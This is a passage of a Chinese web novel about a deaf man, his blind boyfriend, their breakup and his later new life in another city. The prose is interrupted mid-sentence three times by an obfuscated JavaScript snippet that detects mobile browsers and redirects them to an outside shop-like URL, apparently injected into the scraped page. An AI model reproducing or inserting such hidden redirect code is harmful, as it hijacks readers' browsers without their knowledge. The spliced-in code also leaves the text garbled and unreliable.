乔辽把床上的被子铺好,换了一身衣服去洗漱,浴室地面是干的,衣服确实没再滴水,但也没干。 洗漱完毕后,他站在窗前戴上手表。 一夜的雨停下了,外面也出了太阳。 在准备出门的时候,乔辽拿上没晾干的衣服,趁着太阳大,正好拿去天台晒一晒。 这栋居民楼只有六层,他们住在三楼,乔辽提着衣服慢慢往上爬,楼道里的风也不停地往身上拍。 风里夹杂着热气,等乔辽爬到天台时,后背都跟着热出了汗。 衣服被挂在太阳最烈的地方,乔辽想着,等他晚上回来收的时候,肯定早就干透了,紧接着他又想到,要是易秋光膝盖上的伤也能这么快愈合就好了。 这一整天,乔辽都心不在焉,在吃午饭的时候,郭宝卓过来了一趟,记下了乔辽和易秋光的身份证号。 郭宝卓比画着:我到时候会给你们买十二月最后一天到江城的车票,咱们三个还能在一起跨个年,记好了啊,凌晨那一趟,你们记得提前过去,也不用太早,提前一个半小时就行,到了车站就拿身份证去取票,看好车票上面的信息,你俩到江城之后,就在出站口等着,我会去接你们的。 看见这人这么说,乔辽连忙放下手里的筷子,摆摆手比画道:不用你买,我到时候会记得的。 郭宝卓深吸口气,冲他比画:那你不还是得找别人帮忙买吗,再说了,我不相信你的记忆力,我只相信我自己的,你就别管了,到时候和易秋光记得去车站坐车就行。 拒绝的手势刚要做出来,郭宝卓立马拿起他搁在碗上的筷子,一把塞进他手里。 并比画道:别再说了,我是真不相信你这记性。 这人哪是不相信他的记性,应该就是怕联系不上他而已。 毕竟乔辽没有手机,买票什么的不方便,到了江城也没办法第一时间联系郭宝卓。 郭宝卓大概是不放心,在走之前又专门去出租屋找了他们一趟,这人先是打手语和乔辽沟通,把那趟车次的发车日期和时间说了一遍,然后又给易秋光说了一遍又一遍。 看样子,他是真的不放心乔辽的记性。 乔辽觉得,或许,他和易秋光真的需要买个手机。 房子没必要再换个地方租,他们现在住的地方是这片最便宜的了,再说了,他们都快去江城了,实在是没有换出租屋的必要,更何况换个地方就意味着周围的一切都要变,这对易秋光来说很不方便,他需要时间去适应,摔倒磕碰的几率也会变大。 那省钱这件事,就只能从别的方面入手了。 比如吃饭。 易秋光的伙食不变,乔辽无所谓,他可以少吃一点,也可以吃差一点,他身体好,掉几斤体重也没事。 穿衣服什么的,易秋光的也不变,乔辽准备今年冬天就不给自己买衣服了,去年的还能穿,衣服嘛,只要暖和就好。 出行什么的倒是不用改变,他和易秋光都是走着去上班的,这方面本身也没开销。 去了江城,他们的工作也会全部更换,新的环境需要适应,他们的确也不能再像现在这样,全靠时间积累的默契去生活。 这种生活,甚至还有些无趣,唯一值得提起的,就是稳定。 更何况他们现在这个年龄,彼此的世界里,也不能除了对方就是郭宝卓。 想到这里,乔辽突然愣了一下。 好像也不是这样。 易秋光的世界里,还有佟舟和其他同事。 整个世界里只有男朋友和郭宝卓的人,是乔辽自己。 但他也不能因此去限制易秋光什么,听不见说不了的人又不是易秋光,无法和别人沟通的人也不是易秋光。 一切不好的源头,都是这个叫乔辽的自己罢了。 他知道这种想法不好,但他又没办法把这种心情从自己心里挪出去。 情绪会越积越深,乔辽都还没来得及把这种想法慢慢排解出去,新的情绪就又覆盖上来。 这次情绪的来源,是佟舟。 那天的洪城是寒冷的,雨天已经好久没来了,天空都显得有些灰蒙蒙的,郭宝卓也走了很长时间,估计着,都已经在江城稳定下来了。 这段时间,乔辽和易秋光过得还是很普通,但他们的感情大概是出了一些问题。 易秋光变得沉默不少,乔辽能看出他心里有事,但郭宝卓不在,他也不知道该怎么问。 他只能拿着那支录音笔,一次又一次地问易秋光“你还好吗”。 易秋光每次都是沉默,之后张了张嘴又闭上,然后摇头。 问不出来什么,乔辽也就没了办法。 他们在一起这么多年,哪种情况没出现过,乔辽只当易秋光有情绪,过段时间就会自己说出来,他需要做的,就是陪伴和等待。 乔辽不会忘记,那天的洪城到底有多冷,他和往常一样,下了班就去易秋光公司楼下等。 他那次等了一个小时,站在那里被风吹得耳朵都麻了,腿和脚也感觉到了寒意,乔辽在原地低头踏了两步,抬起头时,看见的就是笑着走出公司的易秋光和佟舟。 也不知道他们两个到底是在聊什么,怎么就能让易秋光高兴成这样。 加班是一件很高兴的事吗? 不一定吧。 那是什么,是因为和佟舟聊了天,所以高兴? 乔辽犹豫了。 他对这个答案不敢肯定,也不敢否定。 易秋光和佟舟离他越来越近,乔辽站在原地没动,他想看看,易秋光到底要跟着这人去哪里。 在他们距离乔辽还有十步距离的时候,佟舟说话了。 还是对着乔辽说的。 因为佟舟正看着他,这人脸上还挂着笑,话多到不行,嘴就没闲下来过。 当他们还差两步就要走到乔辽面前时,佟舟还在说着什么,依旧是对乔辽说的。 这就很过分了,佟舟明明知道他什么都听不见,还故意在那里说,易秋光也是,就这么让佟舟一个劲地说? 最后一步。 这步之后,他们就要从乔辽身边经过。 佟舟脸上的笑容依旧,乔辽心里的烦躁也快要蹿出去,管他妈的说的什么,乔辽忍不了,他抬起手晃了两下,铃铛也在他手腕上轻轻晃动。 做出这种动作,乔辽就已经是在开口叫易秋光了。 铃铛晃动后,易秋光果然停了下来,他偏头望过来,然后朝着佟舟说了什么,几句话后,易秋光终于牵起了乔辽的手。 在他们快要离开的时候,佟舟又对着乔辽说了什么。 乔辽瞥了他一眼,拉着易秋光的手快步离开。 在那之后,佟舟常常会出现在乔辽眼前。 乔辽能感觉出来,这人绝对是故意的,狗东西的脸上不会写着“我是狗东西”。 但这种人的笑里,会写着“我是在挑衅”。 乔辽不止一次问易秋光,那个佟舟到底是什么意思,你们两个还要单独加班到什么时候。 但易秋光没有回答。 因为乔辽问不明白,易秋光也不理解他在问什么。 在距离跨年夜还有一周的时候,乔辽又看见易秋光和佟舟一起从公司走出来。 佟舟和易秋光挨得近,他们还差一点距离,就会变成肩膀靠着肩膀。 他们一起走出公司大门,往乔辽面前慢慢走着。 准确地说,是他们正在走向对方,因为乔辽也在往公司门口走。 在不远的距离里,他能看见易秋光脖子上的围巾围得不是很紧,这种天气里,这种围法是会有些冷的,乔辽想着,等会儿走过去就帮他整理一下围巾,晚上回去后,再给他煮点姜汁可乐喝。 可当他走到易秋光面前时,佟舟又对着他说话了。 下一秒,他看见佟舟伸出手,靠近易秋光脖子上的那条围巾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140548|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔辽怎么可能任由佟舟动手。 他百分之百地肯定,佟舟这人绝对是神经病,胆子一天比一天大,现在就敢在他面前这样动手了。 面对神经病,无需任何考虑。 乔辽抬手了,他一巴掌拍开佟舟的手,拉着易秋光转身就走。 这一路上,乔辽满脑子都是问题。 他想问易秋光,佟舟到底是在说什么。 这么长时间,这么多次。 佟舟到底都说了些什么。 易秋光,你不是能听见吗,你告诉我啊,佟舟到底在说什么,他在对我说什么,在对你说什么,他到底在他妈的说什么! 突然,易秋光停下了。 易秋光甩开他的手,接着就指向自己手腕。 情绪再一次让乔辽变得不像自己。 他是怎么能把易秋光的手腕握得这么用力,怎么能让腕上留下这么红的痕迹。 乔辽站在那里,不知道该怎么办,他今天出门也没有带着录音笔。 他只能站在那里,看着易秋光轻晃手腕,脸上露出不满的表情。 是啊。 他听不见,说不了,郭宝卓也说过,他们在一起就跟造孽一样,分分合合又是图什么呢。 要是在以前碰到这种情况,乔辽肯定会去找郭宝卓帮忙,只要那样做,事情肯定很快就能被解决。 但现在,没人能帮乔辽。 他只能笨拙地,用只属于他和易秋光的“语言”去沟通。 乔辽先是轻拍两下易秋光的后背,让他消消气,然后握住他的手腕,轻轻捏了捏,又低头轻吹两下。 紧接着,他抬手去碰易秋光的眉毛,最后又点了点易秋光的嘴角。 他想说,你别皱眉,别生气,我们先去吃饭。 但易秋光明显不想,因为他摇头了。 但他没有甩开乔辽的手。 乔辽在他手心画出屋顶的一角,询问他是不是想回出租屋,这次,易秋光点头了。 回去也行,屋里还有菜,回去也好,乔辽现在的情绪,确实也不想在外面继续待着。 乔辽深呼吸一下,轻握着易秋光的手往出租屋的方向走。 当他们站到门口时,乔辽才发现,他这一路都忘了帮易秋光整理围巾。 那条本就松垮的围巾,早就垮在易秋光肩膀上,已经没办法再提供任何温暖了。 乔辽伸手去碰,易秋光一巴掌拍开他的手。 就像他拍开佟舟的手一样。 紧接着,易秋光敲了敲门,意思是,快点开门。 也是,现在都到出租屋了,还有什么必要整理围巾吗,只要打开这扇门走进去,外面的寒冷至少能被阻挡住一大半。 果然,易秋光进门后的第一件事就是取下围巾,他找出居家服,抱着衣服走到锅边,拿起锅铲敲了敲,然后摇了摇头。 意思是,不想吃饭。 易秋光甚至都没等乔辽的回应,就这么转身去了浴室。 乔辽站在床边愣着,他一会儿看向那些被放在筐子的菜,一会儿又看向浴室门,不停地在心里算着时间。 自从上次易秋光摔倒之后,只要这人一走进浴室,乔辽就会开始紧张。 特别是在易秋光洗澡的时候。 可这个浴室小,他又不能让易秋光把门打开洗。 冬天开门会冷得慌,夏天打开倒是不会冷,但水会往外流。 乔辽只能每次都盯着那扇门,一旦发现时间过长就进去看一眼。 终于,浴室门打开了,易秋光走了出来,他今天没有洗头发,出来后也没有和乔辽说些什么,而是直接从他身边走过,坐到了床上。 看样子是要睡觉。 就这么睡了? 易秋光今晚什么都不想和他说? 乔辽看着他背对着自己躺下,盖上被子。 也不知道时间过了多久,乔辽又在床边站了多久,他甚至都没感觉到饥饿。 乔辽只想知道,易秋光到底睡着没。 15. 分手 感情是最经不起琢磨的事情。 好多事情就是会被越想越复杂,乔辽现在就是这样。 他的视线一直都停留在易秋光身上,恨不得只用眼神就把这个人看穿。 要是眼睛能说话就好了,要是眼睛能听见就好了,要是易秋光能和他沟通就好了。 可惜,他的双眼,只能看。 除此之外,什么都办不了。 乔辽深吸口气,坐到床边,他正准备帮易秋光掖一下被子,然后就去洗个澡,干脆也来睡觉算了。 可他刚坐下去没多久,易秋光就翻了个身。 紧接着,这人握住他的手。 易秋光先是在他手心写了什么,但这些字太多,写出来的速度又太快。 乔辽实在是不明白,他在易秋光胳膊上画了个问号,下一秒,易秋光放慢速度,继续在他手心写着。 这次,乔辽一直盯着手心看,在心里也跟着慢慢写。 当最后一笔落下,这两个字也在乔辽心里无限放大。 佟舟。 易秋光在他手心里写了“佟舟”。 什么意思?佟舟? 还没等乔辽把这两个字的意思琢磨明白,易秋光又开始在他手心快速写着。 这次,易秋光写得更快,乔辽再次无法分辨,他打断这人,伸手拿走桌上放着的录音笔。 郭宝卓给他录下的音频,没有一条是适合现在用的,但眼下这种情况,要是再继续这样沟通下去,完全就是无用功。 他只是想知道,易秋光到底怎么了,那些写在手心的字,到底是什么意思。 录音被不停播放,“你还好吗”和“你怎么了”被乔辽放了无数次,刚开始,易秋光还会默默地听。 后来,易秋光突然一巴掌拍掉录音笔。 从手中掉落的那一瞬,乔辽一不注意在录音笔上面按了一下,也不知道究竟碰上了哪里。 易秋光猛地抓过他的手,不停在他手心写着,嘴里也在说着什么,乔辽紧皱着眉,不知道该怎么办,再然后,易秋光停下了,他摸索着碰上乔辽的腿,轻轻晃了晃。 下一秒,这种晃动变得强烈。 乔辽还是没办法理解他的意思,但能看出来,这人现在情绪不稳定,乔辽想拍拍易秋光后背,让他冷静一下。 可他刚抬起手,易秋光就拽住他的胳膊,紧接着,那条铃铛手链被易秋光摘了下来,放到桌上。 乔辽还以为,这条手链会一直在他手腕上戴着,这条手链会和他一起,待一辈子。 可最后,乔辽竟然是亲眼看着易秋光取下了手链。 他不明白这是什么意思。 但他需要去琢磨,易秋光做出这种行为,到底是想表达什么。 生气?分手? 可是,以前分手的时候,易秋光也不会取下手链。 那就是不再联系? 不至于吧,他做了什么事情吗,至于不再联系? 乔辽想不到,也不愿再想了。 他总觉得,和易秋光在一起的这么多年,一直都是在猜测中度过。 表情需要揣摩,动作需要理解,在掌心的每一笔一画都是需要琢磨的。 乔辽一下子就笑了。 他一个聋人,怎么就能把日子过得这么累啊。 大概,他这个笑是有声音的,具体是什么样的声音呢?乔辽不知道。 但易秋光肯定是听见了,因为他坐了起来,下了床,拿起盲杖打了过来。 这顿打来得莫名其妙,乔辽一开始是拦着,最后他也烦了,干脆就和易秋光打了一架。 这场架结束的时候,易秋光也笑了,他开口说了什么。 说完后,这人回到床上,背对着他躺下。 乔辽愣在那里,模仿着易秋光刚才的口型好几次,说的什么啊,到底说的什么,易秋光你他妈的到底说的什么! 你怎么就和那个佟舟一样?都他妈欺负我听不见? 这一夜,乔辽的心情简直是乱七八糟,他把地上的录音笔捡了起来,放到桌上。 然后,他就这么躺在床上,躺到了天快亮起来。 也不知道易秋光是醒得早,还是和他一样压根没睡,这人在天刚亮没多久的时候就起了床。 乔辽还是躺在床上,就这么偏头看着他。 他看着易秋光收拾东西。 那是属于易秋光的所有东西。 衣服被打了包,全都被装进一个旅行袋里,还有一些生活用品,小的杂物,也都被易秋光慢慢装了起来。 乔辽就这么一直安静地看着,直到易秋光带着那些东西,敲着盲杖离开了出租屋。 然后,乔辽还是躺在床上。 当手表快要走到上班点的时候,乔辽终于明白了。 这是分手。 这是易秋光绝对认真的分手。 易秋光带走了所有东西,也不再回到出租屋,乔辽忍了几天没去找他,但时间不会为他们停下。 距离去江城的日子还有一天,房东也找了过来,他问乔辽还要不要续租,乔辽摇摇头,在纸上写下:不租了。 乔辽把出租屋打扫得干干净净,这将是他在洪城待的最后一天。 工作的事情,他已经提前打过招呼了,今天只需要去最后半天就行,这半天结束后,他准备去找易秋光。 等到今晚,他就会和易秋光坐上驶向江城的列车,迎来跨年。 他和易秋光的新生活,也会在江城重新开始。 乔辽总觉得,他和易秋光这次会闹成这样,只是因为沟通不方便,他和易秋光,是不会彻底分开的。 抱着这种想法,乔辽在中午去了易秋光公司楼下,现在这个时间也已经过了午饭点,他本来就没盼着一过来就能见到易秋光。 反正他现在也没事,等就是了。 可他没想到,这次的等待时间有些久,他等到公司楼上的灯全都熄灭,当最后一个人走出来时,乔辽走了过去。 他想说些什么,但又不知道该怎么表达,但还好,这人手里拿着一个本子,上面还夹着一支笔。 乔辽伸手指了指本子,那人也明白了他的意思,把本子和笔递了过去。 本子不厚,前几页都写了东西,乔辽翻到最后一页,用眼神询问这人,这一页能不能写字。 得到肯定地点头后,乔辽用笔在纸上写下:你好,我想问一下,易秋光还在公司吗? 眼前这人下意识就要开口回应,但下一秒就反应过来。 他拿过乔辽手中的笔,在纸上写下:易秋光已经辞职了。 那一瞬间,乔辽都不敢相信自己的眼睛,但他还不至于连这几个字都认不明白,他冲这人点头表示感谢,这个男人也冲他笑笑,但这笑里还有些莫名其妙的意思,乔辽看不明白,只觉得看着挺不舒服的。 现在怎么办呢,乔辽抬头往公司里面看了眼,又扭头往身后看去。 回去提行李,然后去车站? 他一个人吗? 易秋光是真的铁了心要分手? 乔辽还是觉得不甘心,大不了就再去福利院一趟,易秋光这几天肯定都在福利院待着,只要他见到易秋光就好,只要见到,那他们就还能和好,还能一起去江城。 重新开始。 但很多事情,都是和他对着干的。 乔辽回到出租屋后,第一件事是找出纸笔,在纸上写下福利院的地址。 然后,他把屋里所有东西都收了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140549|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,他随手拿出一件衣服,把录音笔和铃铛手链包了进去,放到旅行袋底部。 出租屋钥匙被他放在桌上,乔辽提着旅行袋,站在门口看着这间出租屋。 他和易秋光住了这么久的地方,一下子就空了下来,原来那张床也不大,但他们两个人睡在一起,也不会觉得挤。 当门被关上的时候,乔辽用最快的速度下了楼,他站在马路边等着出租车,准备去福利院找易秋光。 现在离发车时间也还早,时间还够,等他过去后,还能帮着易秋光收拾行李。 但空车迟迟不来,乔辽也不可能就这么站在路边继续等,他干脆往福利院的方向走。 按道理说,他挺着急的。 不可能还有其他心思,去注意附近有什么店,有什么人。 但他的直觉注意到了。 乔辽突然停下匆匆的步子,偏头往右边看去。 路灯发出昏黄的灯光,但这光亮足以照亮旁边那棵大树,还有树下的易秋光和佟舟。 这两个人面对面站着,但他们谁都没说话,下一秒,易秋光主动伸出手,牵住了佟舟。 然后,他们往前走着,往那个方向走……是要去哪儿? 不是公司,不是福利院,也不是出租屋。 那个方向有什么?那可太多了。 吃的喝的玩的,什么都有,所以他们要去哪儿? 一辆空车从乔辽眼前驶过,那一瞬间,他的视线被遮挡,再次缓过神时,已经看不见易秋光和佟舟了。 乔辽抬起手腕看了眼时间,现在距离发车时间还有四个多小时,他还要跟过去看看吗,还是……直接去江城。 这件事,不好做选择。 乔辽就这么站在原地,想了半个多小时。 也不知道是第几辆空车从他眼前驶过,乔辽终于决定了,他要去江城。 刚才主动伸出手的是易秋光。 那只手,伸向了佟舟。 明明在以前,易秋光只会朝他伸出手。 原来,易秋光是真的不需要他了。 这人大概是想找个能听得见的,能说话的正常人。 反正,郭宝卓也给易秋光说过,他记性好,不会忘记今晚要去江城的事。 又有空车驶来,乔辽毫不犹豫抬手拦下,上车后,他又愣住了。 本来,他以为自己会先去福利院,然后带着易秋光一起去车站,所以他口袋里只有那张写着福利院地址的纸条,没有写着去车站的纸条。 他本以为,这趟去车站,会有易秋光替他开口。 司机盯着他看了好一会儿了,开口好几次之后,脸上的表情也变得不耐烦,乔辽冲他尴尬地笑了笑,抬手指向自己的耳朵,然后又指向前面那个放在支架上的手机。 司机瞥了他一眼,犹豫半天还是把手机拿了起来,但在递给乔辽之前,司机把屏幕上的所有软件都退了出去,只打开一个备忘录。 乔辽接过手机,点了两下屏幕,在上面打出:去洪城南站。 司机盯着他打出这些字,在最后一个字被打出来的时候,手机立马就被拿走,乔辽看见司机叹出一大口气。 这一路上,乔辽都看着车窗外,总觉得有些不现实,他竟然就这么离开了洪城,还是一个人离开。 在到达洪城南站的时候,司机直接用手机打字给他看:六十块钱。 乔辽愣了一下,看向打表器。 狗屁的打表器,这个司机根本就没打表。 这段路的距离本来也没多远,就算是堵车,顶上天了也就三十。 但乔辽懒得和这个人争什么,他也没嘴去争。 给了这六十块钱,他提着旅行袋下了车,不回头地往车站方向走。 16. 运气 还好他提前过来了,乔辽也是没想到,光是去找取票机就花了不少时间。 他拿着刚取出来的票,过了安检,进到车站。 车站内部挺大的,就算是在这个时间,站里还是有很多人。 大家都挺匆忙的,乔辽倒显得没那么着急了,他提着旅行袋,站在人群里找着检票口,然后再走到检票口附近,找了个空位坐下。 现在离发车时间还早,他抱着旅行袋,手里捏着身份证,坐在那里看着眼前路过的人。 他没有手机,也没有什么可玩的。 乔辽只能看着。 就这么坐着,时间也难熬,坐久了腿也难受。 检票广播响起的时候,乔辽终于站了起来,他的腿都坐麻了,往前走的每一步都难受得很。 他跟着人群往前,又跟着人群上了车。 还好,找座位不是一件麻烦事,他很快就找到了自己的位置,把旅行袋放到座位上方的行李架上。 座位正好靠窗,乔辽坐在那里,偏头看着窗外。 当外面的建筑开始往后移动,他的那颗心也逐渐沉了下去。 乔辽知道,他这次是把选择权交给了易秋光。 他等着易秋光来找他,来江城找他。 但他身边的空位也说明了一件事。 易秋光没有上车。 这个答案,乔辽其实早就知道了。 等着上车的时候,他在检票口附近坐了那么久,看见了那么多人,但人群中,没有易秋光。 窗外的建筑不停变化,从光亮充足到黑黢黢一片,最后,他只能看见远处有微弱光亮忽闪着。 乔辽离洪城越来越远了。 也离易秋光也越来越远。 在车上的这一路,乔辽一点都不觉得困,满脑子的胡思乱想让他整个人都无法平静。 到江城本来也用不了多久,在这种停不下来的思绪里,外面的建筑开始缓缓停下。 车厢里的电子屏显示,当前到站,江城站。 乔辽站起身,把旅行袋从行李架上拿下来,跟着人群往外慢慢走。 他没去过外地,这还是第一次,就连坐动车也是第一次,在车上的时候还好,弄不明白的事情还可以看别人是怎么做的。 可当他走出车厢下了车,才真的意识到自己已经不在洪城的时候,那种紧张感是从脚底慢慢往上蔓延的。 人群都朝着同一个方向走,但乔辽还是会时不时看向头顶的指示牌,陌生的环境,始终都没办法让他彻底放下心。 当他走到出站口的时候,第一眼看见的就是那个蹦得老高的郭宝卓。 这一瞬间,乔辽的委屈全都出来了,这种感觉,简直就和见了亲爹一样,虽然乔辽并不知道自己亲爹是谁。 他提着旅行袋快步走到郭宝卓面前,都还没等这人抬手比画什么,乔辽就把旅行袋塞到了郭宝卓手里。 乔辽开始比画了,巨长无比地比画。 他一边比画一边哭,说的全是易秋光的事。 先是佟舟的出现,然后是这人的故意挑衅,最后是易秋光把他的手链取了下来。 他们沟通不明白,易秋光收拾行李离开出租屋,还和那个狗东西佟舟牵了手。 郭宝卓盯着他的手一直看,一边看一边挑眉。 乔辽哭得实在是难过,路过的人都免不了偏头看一眼,但他也懒得管那么多,实在是憋得太久了,这几句话不说出来,乔辽浑身都不舒服。 当他比画完的时候,郭宝卓的眼睛都瞪大了。 他把旅行袋挂到胳膊上,冲着乔辽比画:兄弟,你的命好苦啊。 真是好家伙。 乔辽的眼泪算是彻底止不住了。 他一边抹着眼泪一边跟着郭宝卓往前走,时不时还会戳郭宝卓一下,再比画道:你是不是也觉得佟舟有毛病。 郭宝卓和他对视,然后点头。 再走两步,乔辽又戳郭宝卓一下,比画道:易秋光到底喜欢他什么啊。 这个问题大概是不好回答,郭宝卓犹豫一下,抬手比画:不知道,我没见过佟舟,也不知道那个人的优点在哪里。 乔辽给了他一脚,抬手比画:那个人还能有优点? 郭宝卓连忙摆手,比画出:那当然是不存在的,你先别哭了,我带你去个地方。 这人说得特别神秘,乔辽点点头,吸了吸鼻子,哎不行,那股子难受劲还是忍不住。 他吸着鼻子蹭着眼泪,被郭宝卓带着坐上出租车。 凌晨的江城还是很热闹,车窗外的一切都是稀奇又陌生的。 到达目的地后,郭宝卓还带着他去买了夜宵。 乔辽提着一大堆吃的,郭宝卓提着旅行袋,带着他往一个小区里面走。 这个小区环境还不错,但看着不是特别新,郭宝卓一路上都在给他介绍,接着,他们一起走进一栋楼,上了电梯,当郭宝卓打开那扇贴着“乔迁大吉”的门时,乔辽才隐隐觉得哪里不对劲。 这里看着不像是出租屋…… 郭宝卓打开屋里的灯,乔辽第一眼看见的就是宽敞的客厅,然后就是郭宝卓的比画:牛不牛逼,我家,我买的,精装修二手房。 我操牛逼。 乔辽开始鼓掌,然后问他:那你现在身上还有钱吗? 郭宝卓抬手比作“O”形,摇晃两下,表示没有。 也是,买了房子,哪里还会有剩下的钱。 紧接着,郭宝卓又比画道:还有房贷。 哦那也正常,本来就没多少钱,买了房肯定还得倒欠,乔辽表示理解。 就是有点意外,郭宝卓竟然决定在江城买房,看来他是下定了决心,要在这里定居了。 那个旅行袋被放到一边,这俩人坐到餐桌前慢慢吃着聊着,郭宝卓让他别着急工作的事,他已经在残联帮忙问过了,住的地方也别着急,他这里是两居室,想住多久就住多久。 乔辽感动地撸着串,眼眶里又开始泛红,郭宝卓大概是明白的,他抬手比画道:继续说易秋光的事吧,我听着。 于是,新一轮的痛骂佟舟又开始了。 乔辽一边吃一边比画,场面可以说是非常混乱,郭宝卓一边比画一边拍桌,气氛可以说是配合到了顶点。 在这顿宵夜结束时,郭宝卓对他比画:换了新环境,开始了新的生活,一切都会好起来的。 乔辽沉默一下,想到自己身上剩下的那些钱,还有自己那本刚完结就仿佛死掉的小说…… 这破生活,真的能好起来吗? 郭宝卓喝完最后一口可乐,帮乔辽把旅行袋提到客卧,然后对他比画:早点洗了睡觉,明天醒了带你去逛一逛。 乔辽确实是点头了,但他现在还是没有困意,这几天的生活节奏实在太快,快到他都难以消化。 洗完澡后,乔辽从旅行袋里随便拿出一套衣服换上,躺在那张陌生的床上,闻着空气里陌生的味道,一夜都难以闭眼。 可他早上还是被郭宝卓推醒的。 这人蹲在乔辽床边,等他一睁眼就开始比画:早饭想吃什么?点外卖还是出去吃,要不出去吃吧,算了,要不点外卖吧,吃完早饭就出去玩。 乔辽的脑子都快要转不动了,他好困……实在是困。 眼睛又要闭上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140550|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,郭宝卓这孙子直接上手了,这人扒拉着他的眼皮,用另一只手指向旁边桌上的笔记本电脑。 郭宝卓比画道:别睡了,我要点外卖了,你起来玩会儿电脑醒醒瞌睡。 看看也行,正好看看他那个彻底死去的小说有没有诈尸。 乔辽点了点头,冲他比画:电脑也是贷款买的? 眼前人冷笑一下,特装逼的比画道:你爹我全款拿下。 笔记本电脑被郭宝卓拿起来,放到他手边,这人则是坐在一边开始点外卖,乔辽叹出一口气,半醒不醒地打开电脑,熟练地点进网站,输入作者账号登录。 在账号登上去的那一秒,页面突然卡顿一下,接着跳出一条消息。 内容写着,有出版方看中了乔辽最新完结的小说。 乔辽彻底愣住了,他踹了边上的郭宝卓一脚,这人皱眉扭头,乔辽立马指着电脑屏幕让他快看。 看见屏幕上显示的消息后,郭宝卓直接兴奋起来,他激动地冲着乔辽比画:你看,我就说吧,你的运气来了! 的确,乔辽转运了。 “故听”这个笔名逐渐有了人气,以前那些半死不活又或是彻底死去的完结文,在这次走运后通通诈尸,乔辽有了收入,还是一笔不小的收入。 他在郭宝卓家里住了一段时间。 那段时间里,他买了手机,找了一份工作,身上有钱之后,他选择了全职写作,也和郭宝卓一样,买了房。 他买的房子要比郭宝卓的房子小。 同样都是二手精装房,但乔辽是买的一居室。 住到新家的那天,郭宝卓帮他搬了家。 旅行袋里面装的东西,终于被全部拿了出来,在郭宝卓家里的时候,他还嫌麻烦,每次都是蹲在袋子边翻找,乔辽总觉得,那个地方也不是他的家,把东西全都摆出来不太好,就算那个家是郭宝卓的也不行。 现在好了,他有自己的家了,可他那些东西太少,明明之前在洪城出租屋时,那些东西占据了整个出租屋。 可现在,这些东西全都被拿出来放好,还是显得这个一居室太空。 郭宝卓陪着他把家里收拾了一下,最后,他们一起坐在沙发上歇着,郭宝卓问他:既然你现在有钱了,还有没有什么想做的事情。 乔辽比画着:我想听见声音,不想只是看见了。 人工耳蜗和助听器给了他机会,但他一直没去听铃铛手链的声音,他不敢。 后来,郭宝卓教他发音,乔辽自己也很努力,一切似乎都在往好的方向进行,可他还是遗憾。 常常也会想着,要是这种好运气,是在他和易秋光还在一起的时候到来,那该有多好。 要是那样,易秋光是不是就不会离开他。 要是那样,那他们是不是就会一起到江城,一起住在这个一居室里,不会有什么佟舟,更不会有什么捕山月。 易秋光的世界里。 应该只有乔辽。 也只能有乔辽。 一阵风吹到乔辽脸上,外面也响起了雨水滴落的啪嗒声,现在的江城,已经开始下雨。 乔辽深吸口气,站起身,回到卧室里。 他拿起被丢在床上的手机,屏幕亮起后,最顶部的通知显示,郭宝卓发来消息。 这人发了好几条,不用进去看都知道,肯定是在回骂。 视线向下,乔辽看见了易秋光发来的消息。 三季:故听老师现在好点了吗? 就这么一句话。 乔辽没出息地看着屏幕笑了起来。 铃铛好像在他心里晃了晃,带着他的情绪一起,扬到天上。 17. 咖啡 现在的乔辽能听见,能说话,能沟通。 易秋光不会再嫌弃他。 应该不会。 但是……两年前,是易秋光摘下铃铛手链,选择离开出租屋的。 想到这里,那种疑似恋爱的心情一下子又被收了回去。 乔辽深吸一口气,盯着屏幕抿了抿唇,开始打字。 他回复道:好点了。 几秒后,屏幕上显示“对方正在输入”,易秋光的回复也跟着跳了出来。 三季:那就好,吃过了吗? 关心,这是关心,这是明晃晃的关心! 那种疑似恋爱的心情……瞬间活了过来。 乔辽笑着打字回复:还没有,胃口不是太好。 这句话发出去后,乔辽拿着手机开始燥候,他等着看易秋光又会说些什么,但接下来,他收到的不再是文字消息。 而是一张图片。 照片里,易秋光端着一杯咖啡,旁边还有一只手,也端着咖啡。 哈哈无语,情侣照是吧。 乔辽尴尬地看着屏幕干笑,也不知道自己笑出来到底是个什么动静,他只知道,自己心里的铃铛已经晃得生不如死了。 这种情绪当然没办法传递到屏幕那边,易秋光就跟担心他死得不够透一样,紧接着又发来一条文字消息。 三季:胃口不好也得吃点饭,我现在已经回工作室了,还买了附近那家咖啡店推出的新品,这家店的老板喜欢捣鼓咖啡,这杯是今天刚捣鼓出来的,很好喝。 好喝就好。 好喝多喝。 大下午的喝咖啡,晚上还睡不睡了。 什么咖啡啊买一送一是不是,你告诉我是不是。 呵呵咖啡而已,速溶的也能喝。 